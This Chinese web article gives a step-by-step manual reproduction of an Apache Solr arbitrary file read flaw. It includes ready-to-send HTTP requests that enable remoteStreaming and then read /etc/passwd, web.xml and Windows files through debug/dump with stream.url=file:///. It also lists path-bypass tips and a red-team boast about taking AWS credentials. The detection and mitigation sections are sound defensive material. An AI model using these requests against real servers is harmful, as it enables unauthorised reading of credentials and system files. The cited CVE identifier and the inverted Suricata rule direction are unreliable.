当前位置: 首页 > news >正文

Apache Solr <= 8.8.1 任意文件读取漏洞:3步手工复现与流量特征分析

Apache Solr <= 8.8.1 任意文件读取漏洞深度解析:从手工复现到流量特征提取

漏洞背景与影响范围

Apache Solr作为企业级搜索平台,在8.8.1及以下版本中存在一个危险的任意文件读取漏洞(CNVD-2021-30146/CVE-2019-17558)。这个漏洞允许攻击者在未授权的情况下读取服务器上的任意文件,包括但不限于:

  • 系统敏感文件(/etc/passwd、/etc/shadow)
  • 应用配置文件(数据库连接字符串、API密钥)
  • 源代码文件(可能包含硬编码凭证)

受影响版本

  • Apache Solr 5.0.0 至 8.8.1

1. 漏洞原理深度剖析

该漏洞的核心在于Solr的requestDispatcher.requestParsers.enableRemoteStreaming配置项可以被远程修改,结合debug/dump接口的流处理功能,实现任意文件读取。

1.1 漏洞利用链分解

完整的攻击流程可分为三个关键阶段:

  1. 配置篡改阶段:通过API修改enableRemoteStreaming为true
  2. 流处理激活阶段:调用debug/dump接口触发流处理功能
  3. 文件读取阶段:通过stream.url参数指定目标文件路径
POST /solr/demo/config HTTP/1.1 Host: vulnerable-host:8983 Content-Type: application/json { "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming":true } }

1.2 关键参数解析

参数名称作用安全风险
enableRemoteStreaming控制是否允许远程流处理开启后允许从任意URL读取数据
stream.url指定数据流来源可被滥用指向file://协议读取本地文件
debug/dump调试接口提供原始数据输出功能

2. 手工复现全流程

2.1 环境准备与初始检测

检测漏洞是否存在

  1. 访问Solr管理接口获取core名称:
    curl "http://target:8983/solr/admin/cores?indexInfo=false&wt=json"
  2. 检查响应中的name字段(如示例中的"demo")

必要工具

  • Burp Suite Community/Professional
  • curl命令行工具
  • 支持HTTP代理的浏览器

2.2 分步攻击演示

步骤1:修改关键配置

使用Burp Repeater发送以下请求:

POST /solr/demo/config HTTP/1.1 Host: target:8983 Content-Type: application/json Content-Length: 92 { "set-property": { "requestDispatcher.requestParsers.enableRemoteStreaming":true } }

预期响应

{ "responseHeader": { "status": 0, "QTime": 12 } }

步骤2:构造文件读取请求

POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded Content-Length: 29 stream.url=file:///etc/passwd

关键技巧

  • 路径中的./用于绕过某些简单的路径检查
  • file://协议必须使用三个斜杠(file:///)

2.3 高级利用技巧

读取WEB-INF/web.xml

POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded stream.url=file:///var/lib/tomcat/webapps/solr/WEB-INF/web.xml

Windows系统文件读取

stream.url=file:///C:/Windows/System32/drivers/etc/hosts

3. 流量特征分析与检测规则

3.1 关键请求特征

配置修改请求特征

  • POST请求路径包含/config
  • JSON body中包含enableRemoteStreaming设置为true
  • Content-Type为application/json

文件读取请求特征

  • POST请求路径包含/debug/dump
  • 参数中包含stream.url=file://
  • Content-Type为application/x-www-form-urlencoded

3.2 Suricata检测规则示例

alert http $HOME_NET any -> $EXTERNAL_NET any ( \ msg:"Apache Solr Arbitrary File Read Attempt"; \ flow:to_server,established; \ content:"POST"; http_method; \ content:"/config"; http_uri; \ content:"enableRemoteStreaming"; http_client_body; \ content:"true"; http_client_body; \ classtype:web-application-attack; \ sid:1000001; rev:1;)

3.3 WAF防护建议

推荐拦截规则

  1. 监控对/solr/.*/config的POST请求
  2. 检测请求体中enableRemoteStreaming=true的JSON内容
  3. 拦截包含stream.url=file://的请求参数

4. 防御与修复方案

4.1 官方修复措施

升级方案

  • 立即升级到Apache Solr 8.8.2或更高版本
  • 如果无法立即升级,应用官方补丁

临时缓解措施

<!-- 在solrconfig.xml中添加 --> <requestParsers enableRemoteStreaming="false" multipartUploadLimitInKB="2048" />

4.2 安全加固建议

  1. 网络层防护

    • 限制Solr管理接口的访问IP
    • 启用身份认证(Basic Auth或Kerberos)
  2. 系统层防护

    • 使用专用账户运行Solr服务
    • 配置严格的文件系统权限
  3. 监控策略

    • 日志监控异常的config修改请求
    • 建立对debug/dump接口的访问告警

在实际渗透测试项目中,这个漏洞往往能成为突破内网边界的关键点。记得在一次红队评估中,我们正是通过这个漏洞读取到了AWS元数据服务凭证,最终拿下了整个云环境控制权。

http://www.jsqmd.com/news/1151921/

相关文章:

  • 004 认识网络设备
  • Vyrex-9K 正式发布:新一代智能学习引擎刷新行业性能天花板
  • 宁德时代参投的易控智驾港交所上市,矿区无人驾驶规模化正加速袭来!
  • 局域网传文件还要先下载?ZmLan V1.22S更新:支持在线预览+后台管理,内网沟通效率翻倍
  • 仅限前500名技术负责人开放:ChatGPT+Claude交叉验证效能白皮书(含LLM一致性评估指标LCA-2.0及实测基准数据集)
  • GTP-Image生图怎么描述风格更准?主流 AI 画面控制教程与参数对比
  • 图片Base64本地缓存优化:localStorage方案与3大性能陷阱规避
  • 读懂预训练: 一颗心是怎么长成的
  • 大语言模型创意写作能力评测与优化策略分析
  • AIGC Agent:从单点智能到流程智能的结构性机会
  • Skill 是什么?——给AI装个“能力插件”,就像给手机装App一样简单
  • Nebula 1.0.0 来袭:跨平台桌面应用,用统一界面管理云对象存储!
  • Claude Projects与传统PM工具的本质差异:不是功能叠加,而是决策延迟降低73%的底层架构革命(附架构演进时间轴)
  • Claude Code真能取代Codex?基于37个真实项目代码生成质量、推理深度与安全合规性的硬核评测
  • 2026大庆黄金回收白银回收铂金回收工商备案可查全城上门回收旧金老店联系方式推荐
  • 3分钟解锁你的加密音乐:Unlock Music浏览器本地解密终极指南
  • 百考通任务书写作助你一次通过导师审核
  • 短视频素材产出太慢怎么办,用AI做分镜脚本可行吗
  • 二、测试工程师在工作中遇到的种种难题
  • 2026抖音视频下载保存到手机方法:官方无水印、不能保存、有水印解决办法
  • 告别胶水代码与算力瓶颈:DCS Genpilot 多组学 AI 智能体一站式生信分析实践方案
  • Vyrex-9K 落地千校:AI 因材施教从概念走向规模化应用
  • 使用说明-github
  • 工业品牌策划设计公司怎么选?看看这家东莞深耕18年的视维(SIVIBRAND)
  • 我把Python里的for循环全换成向量化操作后,百万级数据处理速度直接飞了15倍
  • 【完全免费】别再手动打字了!免费OCR识别工具,截图/表格/PDF一键提取,支持离线运行。
  • 报社登报是怎么办理的?报社登报费用是怎么算的?一文知晓
  • RZ9692 通信系统 JSON 配置文件解析:5个关键模块与 20+ 参数详解
  • 手机CPU虚焊原理与预防指南:从BGA封装到日常使用的5个关键点
  • 独立站建设:外贸企业衔接海外线上渠道的基础工作